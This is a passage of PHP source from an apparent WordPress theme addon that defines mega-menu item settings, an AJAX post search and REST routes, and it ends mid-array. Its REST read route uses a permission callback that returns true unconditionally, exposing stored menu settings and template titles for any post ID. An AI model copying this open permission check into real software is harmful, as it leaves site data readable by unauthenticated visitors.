* @return void. */ public function add_custom_fields( $id, $item, $depth, $args ) { $item_title = isset( $item->title ) ? $item->title : ''; ?> <input type="hidden" class="ast-nonce-field" value="<?php echo esc_attr( wp_create_nonce( 'ast-render-opts-' . $id ) ); ?>"> <p class="description description-wide"> <a class="button button-secondary button-large astra-megamenu-opts-btn" data-depth="<?php echo esc_attr( $depth ); ?>" data-menu-id="<?php echo esc_attr( $id ); ?>" data-menu-title="<?php echo esc_attr( $item_title ); ?>"> <?php echo sprintf( /* translators: Astra Pro whitelabbeled string */ esc_html__( '%1$s Menu Settings', 'astra-addon' ), esc_html( astra_get_theme_name() ) ); ?> </a> </p> <?php } /** * Add custom menu style fields data to the menu. * * @param object $menu_item A single menu item. * @return object The menu item. */ public function add_custom_fields_meta( $menu_item ) { $menu_item->megamenu = get_post_meta( $menu_item->ID, '_menu_item_megamenu', true ); $menu_item->megamenu_width = get_post_meta( $menu_item->ID, '_menu_item_megamenu_width', true ); $menu_item->megamenu_col = get_post_meta( $menu_item->ID, '_menu_item_megamenu_col', true ); $menu_item->megamenu_text_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_text_color', true ); $menu_item->megamenu_text_h_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_text_h_color', true ); $menu_item->megamenu_background_image = get_post_meta( $menu_item->ID, '_menu_item_megamenu_background_image', true ); $menu_item->megamenu_bg_size = get_post_meta( $menu_item->ID, '_menu_item_megamenu_bg_size', true ); $menu_item->megamenu_bg_repeat = get_post_meta( $menu_item->ID, '_menu_item_megamenu_bg_repeat', true ); $menu_item->megamenu_bg_position = get_post_meta( $menu_item->ID, '_menu_item_megamenu_bg_position', true ); $menu_item->megamenu_bg_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_bg_color', true ); $menu_item->megamenu_highlight_label = get_post_meta( $menu_item->ID, '_menu_item_megamenu_highlight_label', true ); $menu_item->megamenu_icon_source = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item->ID ); $menu_item->megamenu_icon_position = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_position', $menu_item->ID ); $menu_item->megamenu_icon_spacing = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_spacing', $menu_item->ID ); $menu_item->megamenu_icon_view = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_view', $menu_item->ID ); $menu_item->megamenu_icon_primary_color = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_primary_color', $menu_item->ID ); $menu_item->megamenu_icon_secondary_color = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_secondary_color', $menu_item->ID ); $menu_item->megamenu_icon_padding = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_padding', $menu_item->ID ); $menu_item->megamenu_icon_corner_radius = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_corner_radius', $menu_item->ID ); $menu_item->megamenu_icon_border_width = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_border_width', $menu_item->ID ); $menu_item->megamenu_icon_size = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_size', $menu_item->ID ); $menu_item->megamenu_label_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_label_color', true ); $menu_item->megamenu_label_bg_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_label_bg_color', true ); $menu_item->megamenu_column_divider_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_column_divider_color', true ); $menu_item->megamenu_heading_seeparator_color = get_post_meta( $menu_item->ID, '_menu_item_megamenu_heading_seeparator_color', true ); $menu_item->megamenu_content_src = get_post_meta( $menu_item->ID, '_menu_item_megamenu_content_src', true ); $menu_item->megamenu_custom_text = get_post_meta( $menu_item->ID, '_menu_item_megamenu_custom_text', true ); $menu_item->megamenu_disable_title = Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'disable_title', $menu_item->ID ); $menu_item->megamenu_enable_heading = get_post_meta( $menu_item->ID, '_menu_item_megamenu_enable_heading', true ); $menu_item->megamenu_disable_link = get_post_meta( $menu_item->ID, '_menu_item_megamenu_disable_link', true ); $menu_item->megamenu_widgets_list = get_post_meta( $menu_item->ID, '_menu_item_megamenu_widgets_list', true ); $menu_item->megamenu_template = get_post_meta( $menu_item->ID, '_menu_item_megamenu_template', true ); $menu_item->custom_width = get_post_meta( $menu_item->ID, '_menu_item_megamenu_custom_width', true ); $menu_item->megamenu_margin_top = get_post_meta( $menu_item->ID, '_menu_item_megamenu_margin_top', true ); $menu_item->megamenu_margin_right = get_post_meta( $menu_item->ID, '_menu_item_megamenu_margin_right', true ); $menu_item->megamenu_margin_bottom = get_post_meta( $menu_item->ID, '_menu_item_megamenu_margin_bottom', true ); $menu_item->megamenu_margin_left = get_post_meta( $menu_item->ID, '_menu_item_megamenu_margin_left', true ); $menu_item->megamenu_padding_top = get_post_meta( $menu_item->ID, '_menu_item_megamenu_padding_top', true ); $menu_item->megamenu_padding_right = get_post_meta( $menu_item->ID, '_menu_item_megamenu_padding_right', true ); $menu_item->megamenu_padding_bottom = get_post_meta( $menu_item->ID, '_menu_item_megamenu_padding_bottom', true ); $menu_item->megamenu_padding_left = get_post_meta( $menu_item->ID, '_menu_item_megamenu_padding_left', true ); return $menu_item; } /** * Function to replace normal edit nav walker * * @return string Class name of new navwalker */ public function edit_walker() { require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/class-astra-walker-nav-menu-edit-custom.php'; return 'Astra_Walker_Nav_Menu_Edit_Custom'; } /** * Function to load custom navigation walker. * * @return void. */ public static function load_walker() { require_once ASTRA_ADDON_EXT_NAV_MENU_DIR . 'classes/class-astra-custom-nav-walker.php'; } /** * Function to get posts lists to display. * * @return void. */ public function get_post_list_by_query() { check_ajax_referer( 'astra-addon-get-posts-by-query', 'nonce' ); $search_string = isset( $_POST['q'] ) ? sanitize_text_field( $_POST['q'] ) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Missing $data = array(); $result = array(); $args = array( 'public' => true, '_builtin' => false, ); $output = 'names'; // names or objects, note names is the default. $operator = 'and'; // also supports 'or'. $post_types = get_post_types( $args, $output, $operator ); $post_types['Posts'] = 'post'; $post_types['Pages'] = 'page'; $has_wp_block_suport = post_type_exists( 'wp_block' ); if ( $has_wp_block_suport ) { $post_types['Reusable Blocks'] = 'wp_block'; } foreach ( $post_types as $key => $post_type ) { $data = array(); $obj_instance = Astra_Target_Rules_Fields::get_instance(); add_filter( 'posts_search', array( $obj_instance, 'search_only_titles' ), 10, 2 ); $query = new WP_Query( array( 's' => $search_string, 'post_type' => $post_type, 'posts_per_page' => - 1, ) ); if ( $query->have_posts() ) { while ( $query->have_posts() ) { $query->the_post(); $title = get_the_title(); $title .= ( 0 != $query->post->post_parent ) ? ' (' . get_the_title( $query->post->post_parent ) . ')' : ''; $id = get_the_id(); $data[] = array( 'id' => $id, 'text' => $title, ); } } if ( is_array( $data ) && ! empty( $data ) ) { $result[] = array( 'text' => $key, 'children' => $data, ); } } $data = array(); wp_reset_postdata(); // return the result in json. wp_send_json( $result ); } /** * Mega Menu Header Classes * * Add classes of mega menu only if Primary Menu is set. * * @since 1.7.2 * @return void; */ public function add_mega_menu_classes() { if ( has_nav_menu( 'primary' ) ) { add_filter( 'astra_primary_menu_classes', array( $this, 'add_primary_menu_classes' ) ); add_filter( 'astra_secondary_menu_menu_classes', array( $this, 'add_primary_menu_classes' ) ); $mega_menu_custom_navmenus = apply_filters( 'astra_nav_mega_menu_support', array() ); if ( ! empty( $mega_menu_custom_navmenus ) ) { foreach ( $mega_menu_custom_navmenus as $key => $menu_id ) { add_filter( 'astra_' . $menu_id . '_menu_classes', array( $this, 'add_primary_menu_classes' ) ); } } } } /** * Primary Header Classes * * @param array $classes CSS Classes. * * @since 1.6.0 * @return array; */ public function add_primary_menu_classes( $classes ) { $classes[] = 'ast-mega-menu-enabled'; return $classes; } /** * Above Header Classes * * @param array $classes CSS Classes. * * @since 1.6.0 * @return array; */ public function add_above_menu_classes( $classes ) { $classes[] = 'ast-mega-menu-enabled'; return $classes; } /** * Below Header Classes * * @param array $classes CSS Classes. * * @since 1.6.0 * @return array; */ public function add_below_menu_classes( $classes ) { $classes[] = 'ast-mega-menu-enabled'; return $classes; } /** * Add menu options settings popup wrap at footer. * * @since 1.6.0 * @return void */ public function add_mega_menu_wrap() { astra_addon_get_template( 'nav-menu/template/canvas.php' ); } /** * Creating rest routes for mega menu * * @since 4.0.0 * @return void */ public function create_rest_routes() { register_rest_route( 'astra_addon/v1', '/mega_menu/(?P<id>\d+)', array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_mega_menu_option' ), 'permission_callback' => array( $this, 'get_mega_menu_option_permission' ), ) ); register_rest_route( 'astra_addon/v1', '/mega_menu', array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'set_mega_menu_option' ), 'permission_callback' => array( $this, 'set_mega_menu_option_permission' ), ) ); } /** * Checking permissions * * @since 4.0.0 * @return bool */ public function get_mega_menu_option_permission() { return true; } /** * Checking permissions * * @since 4.0.0 */ public function set_mega_menu_option_permission() { return current_user_can( 'edit_theme_options' ); } /** * Mega set configs * * @param array $req Megamenu request payload. * @return string * @since 4.0.0 */ public function set_mega_menu_option( $req ) { $fields = isset( $req['options'] ) ? $req['options'] : array(); $nav_id = isset( $req['nav_id'] ) ? sanitize_text_field( $req['nav_id'] ) : ''; $menu_id = isset( $req['menu_id'] ) ? sanitize_text_field( $req['menu_id'] ) : ''; $widgets = isset( $req['widgets'] ) ? $req['widgets'] : array(); if ( ! current_user_can( 'edit_theme_options' ) ) { wp_die(); } if ( ! empty( $widgets ) ) { $fields['megamenu_widgets_list'] = implode( ',', $widgets ); } if ( ! empty( $fields ) ) { // Update meta values. foreach ( $fields as $key => $value ) { $key = sanitize_text_field( str_replace( 'menu-item-', '', $key ) ); if ( 'megamenu_custom_text' == $key ) { $value = wp_kses_post( wp_unslash( $value ) ); } else { $value = wp_unslash( $value ); } update_post_meta( $menu_id, '_menu_item_' . $key, $value ); } } return rest_ensure_response( 'success' ); } /** * Mega menu configs * * @param array $data Megamenu id. * @return array * @since 4.0.0 */ public function get_mega_menu_option( $data ) { $menu_item_id = $data['id']; $_config = array( // Option: As Heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_enable_heading', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_enable_heading', true ), 'control' => 'ast-toggle', 'title' => __( 'As Heading', 'astra-addon' ), 'custom_value' => 'enable-heading', 'divider' => 'top-spacing', 'tab_type' => 'general', 'depth' => 1, 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_heading_separator_color', 'value' => array( 'enable-heading' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_mega_menu_label_title', 'value' => array( 'enable-heading' ), ), ), ), // Option: Heading Mega Menu for sub menu. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_mega_menu_label_title', 'control' => 'ast-title', 'title' => __( 'Mega Menu', 'astra-addon' ), 'divider' => 'top-spacing', 'tab_type' => 'design', 'depth' => 1, 'context' => array( array( 'value' => array( 'enable-heading' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_enable_heading', true ), ), ), ), // Option: Separator Color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_heading_separator_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_heading_separator_color', true ), 'control' => 'ast-color', 'title' => __( 'Separator Color', 'astra-addon' ), 'tab_type' => 'design', 'depth' => 1, 'context' => array( array( 'value' => array( 'enable-heading' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_enable_heading', true ), ), ), ), // Option: Hide Label. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_disable_title', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'disable_title', $menu_item_id ), 'control' => 'ast-toggle', 'title' => __( 'Hide Menu Label', 'astra-addon' ), 'custom_value' => 'disable-title', 'divider' => '', 'tab_type' => 'general', 'depth' => 1, 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_disable_link', 'value' => array( '' ), ), ), ), // Option: Disable Link. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_disable_link', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_disable_link', true ), 'control' => 'ast-toggle', 'title' => __( 'Disable Link', 'astra-addon' ), 'custom_value' => 'disable-link', 'divider' => '', 'tab_type' => 'general', 'depth' => 1, 'context' => array( array( 'value' => array( '' ), 'target_value' => strval( Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'disable_title', $menu_item_id ) ), ), ), ), // Option: Enable Mega Menu toggle. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'control' => 'ast-toggle', 'divider' => 'top-spacing', 'custom_value' => 'megamenu', 'title' => __( 'Mega Menu', 'astra-addon' ), 'tab_type' => 'general', 'as_heading' => true, 'depth' => 0, 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_width', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_background_type_title', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_image', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_color', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_repeat', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_size', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_position', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_gradient', 'value' => array( 'megamenu' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'gradient' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_margin', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_padding', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_spacing_title', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_top_border_width', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_column_divider_width', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_row_divider_width', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_top_border_color', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_column_divider_color', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_divider_style', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_divider_title', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_color_label_title', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_text_color_group', 'value' => array( 'megamenu' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_heading_color_group', 'value' => array( 'megamenu' ), ), ), ), // Option: Mega Menu Width. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_width', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'width', $menu_item_id ), 'control' => 'ast-select', 'title' => __( 'Mega Menu Width', 'astra-addon' ), 'divider' => '', 'choices' => array( 'content' => __( 'Content', 'astra-addon' ), 'menu-container' => __( 'Menu Container Width', 'astra-addon' ), 'full' => __( 'Full Width', 'astra-addon' ), 'full-stretched' => __( 'Full Width Stretched', 'astra-addon' ), 'custom' => __( 'Custom Width', 'astra-addon' ), ), 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_custom_width', 'value' => array( 'custom' ), ), ), 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), 'tab_type' => 'general', 'depth' => 0, ), // Option: Icon spacing. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_custom_width', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_custom_width', true ), 'control' => 'ast-slider', 'title' => __( 'Custom Width', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 1920, ), 'tab_type' => 'general', 'depth' => '0', 'context' => array( array( 'value' => array( 'custom' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_width', true ), ), ), ), // Option: Icon Heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_icon_label_title', 'control' => 'ast-title', 'title' => __( 'Icon', 'astra-addon' ), 'divider' => 'ast-top-section-divider', 'tab_type' => 'general', 'depth' => 'all', ), // Option: Icon source. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_source', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), 'title' => __( 'Icon', 'astra-addon' ), 'control' => 'ast-icon', 'tab_type' => 'general', 'depth' => 'all', 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_position', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_size', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_spacing', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_icon_label_title_design', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_primary_color', 'value' => array( 'image', 'icon' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_secondary_color', 'value' => array( 'image', 'icon' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_padding', 'value' => array( 'image', 'icon' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_border_width', 'value' => array( 'image', 'icon' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'framed' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_corner_radius', 'value' => array( 'image', 'icon' ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_view', 'dependency_value' => array( 'stacked', 'framed' ), ), ), ), // Option: Icon position. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_position', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_position', $menu_item_id ), 'control' => 'ast-select', 'title' => __( 'Icon Position', 'astra-addon' ), 'choices' => array( 'before-label' => __( 'Before Menu Label', 'astra-addon' ), 'after-label' => __( 'After Menu Label', 'astra-addon' ), ), 'tab_type' => 'general', 'depth' => 'all', 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Icon size. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_size', 'control' => 'ast-slider', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_size', $menu_item_id ), 'title' => __( 'Size', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 100, ), 'tab_type' => 'general', 'depth' => 'all', 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Icon spacing. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_icon_spacing', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_spacing', $menu_item_id ), 'control' => 'ast-slider', 'title' => __( 'Icon Spacing', 'astra-addon' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 1, 'step' => 1, 'max' => 100, ), 'tab_type' => 'general', 'depth' => 'all', 'context' => array( array( 'value' => array( 'image', 'icon' ), 'target_value' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'icon_source', $menu_item_id ), ), ), ), // Option: Content source heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_content_source_title', 'control' => 'ast-title', 'title' => __( 'Content Source', 'astra-addon' ), 'divider' => '', 'tab_type' => 'general', 'divider' => 'ast-top-section-divider', 'depth' => 1, ), // Option: Content source. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_content_src', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_content_src', true ), 'control' => 'ast-select', 'title' => __( 'Content Source', 'astra-addon' ), 'divider' => '', 'choices' => array( 'default' => __( 'Default', 'astra-addon' ), 'custom_text' => __( 'Custom Text', 'astra-addon' ), 'template' => __( 'Template', 'astra-addon' ), 'widget' => __( 'Widget', 'astra-addon' ), ), 'tab_type' => 'general', 'depth' => 1, 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_widget_list', 'value' => array( 'widget' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_template', 'value' => array( 'template' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_custom_text', 'value' => array( 'custom_text' ), ), ), ), // Option: Widget list. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_widget_list', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_widget_list', true ), 'control' => 'ast-widget', 'title' => __( 'Widget List', 'astra-addon' ), 'tab_type' => 'general', 'depth' => 1, 'context' => array( array( 'value' => array( 'widget' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_content_src', true ), ), ), ), // Option: Select template. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_template', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_template', true ), 'control' => 'ast-template', 'defaults_title' => get_the_title( (int) get_post_meta( $menu_item_id, '_menu_item_megamenu_template', true ) ), 'title' => __( 'Template', 'astra-addon' ), 'tab_type' => 'general', 'depth' => 1, 'context' => array( array( 'value' => array( 'template' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_content_src', true ), ), ), ), // Option: Custom text field. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_custom_text', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_custom_text', true ), 'control' => 'ast-textarea', 'title' => __( 'Custom Text', 'astra-addon' ), 'tab_type' => 'general', 'depth' => 1, 'context' => array( array( 'value' => array( 'custom_text' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_content_src', true ), ), ), ), // Option: Highlight heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_highlight_label_title', 'control' => 'ast-title', 'title' => __( 'Highlight Labels', 'astra-addon' ), 'divider' => 'ast-top-section-divider', 'tab_type' => 'general', 'depth' => 'all', ), // Option: Menu highlight label input. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_highlight_label', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_highlight_label', true ), 'control' => 'ast-text', 'title' => __( 'Menu Highlight Label', 'astra-addon' ), 'description' => __( 'Change menu highlight label text', 'astra-addon' ), 'divider' => '', 'tab_type' => 'general', 'depth' => 'all', ), // Option: Background type heading. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_background_type_title', 'control' => 'ast-title', 'title' => __( 'Background Type', 'astra-addon' ), 'divider' => 'top-spacing', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), ), // Option: Background type. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'defaults' => Astra_Ext_Nav_Menu_Loader::get_megamenu_default( 'bg_type', $menu_item_id ), 'control' => 'ast-background-type', 'title' => __( 'Background Type', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), ), ), 'trigger_context' => array( array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_gradient', 'value' => array( 'gradient' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_image', 'value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_color', 'value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_repeat', 'value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_size', 'value' => array( 'image' ), ), array( 'setting' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_position', 'value' => array( 'image' ), ), ), ), // Option: Background color. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_color', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_bg_color', true ), 'control' => 'ast-color', 'title' => __( 'Color', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'image' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), ), ), // Option: Background gradient. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_gradient', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_gradient', true ), 'control' => 'ast-gradient', 'title' => __( 'Image', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'gradient' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'gradient' ), ), ), ), // Option: Background image. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_image', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_image', true ), 'control' => 'ast-image', 'title' => __( 'Image', 'astra-addon' ), 'divider' => '', 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'image' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), ), ), // Option: Background repeat. array( 'name' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_bg_repeat', 'defaults' => get_post_meta( $menu_item_id, '_menu_item_megamenu_bg_repeat', true ), 'control' => 'ast-select', 'choices' => array( 'no-repeat' => __( 'No Repeat', 'astra-addon' ), 'repeat' => __( 'Repeat All', 'astra-addon' ), 'repeat-x' => __( 'Repeat Horizontally ', 'astra-addon' ), 'repeat-y' => __( 'Repeat Vertically', 'astra-addon' ), ), 'tab_type' => 'design', 'depth' => 0, 'context' => array( array( 'value' => array( 'image' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu_background_type', true ), ), array( 'value' => array( 'megamenu' ), 'target_value' => get_post_meta( $menu_item_id, '_menu_item_megamenu', true ), 'dependency' => ASTRA_THEME_SETTINGS . '_menu_item_megamenu_background_type', 'dependency_value' => array( 'image' ), ), ), ), // Option: Background size. 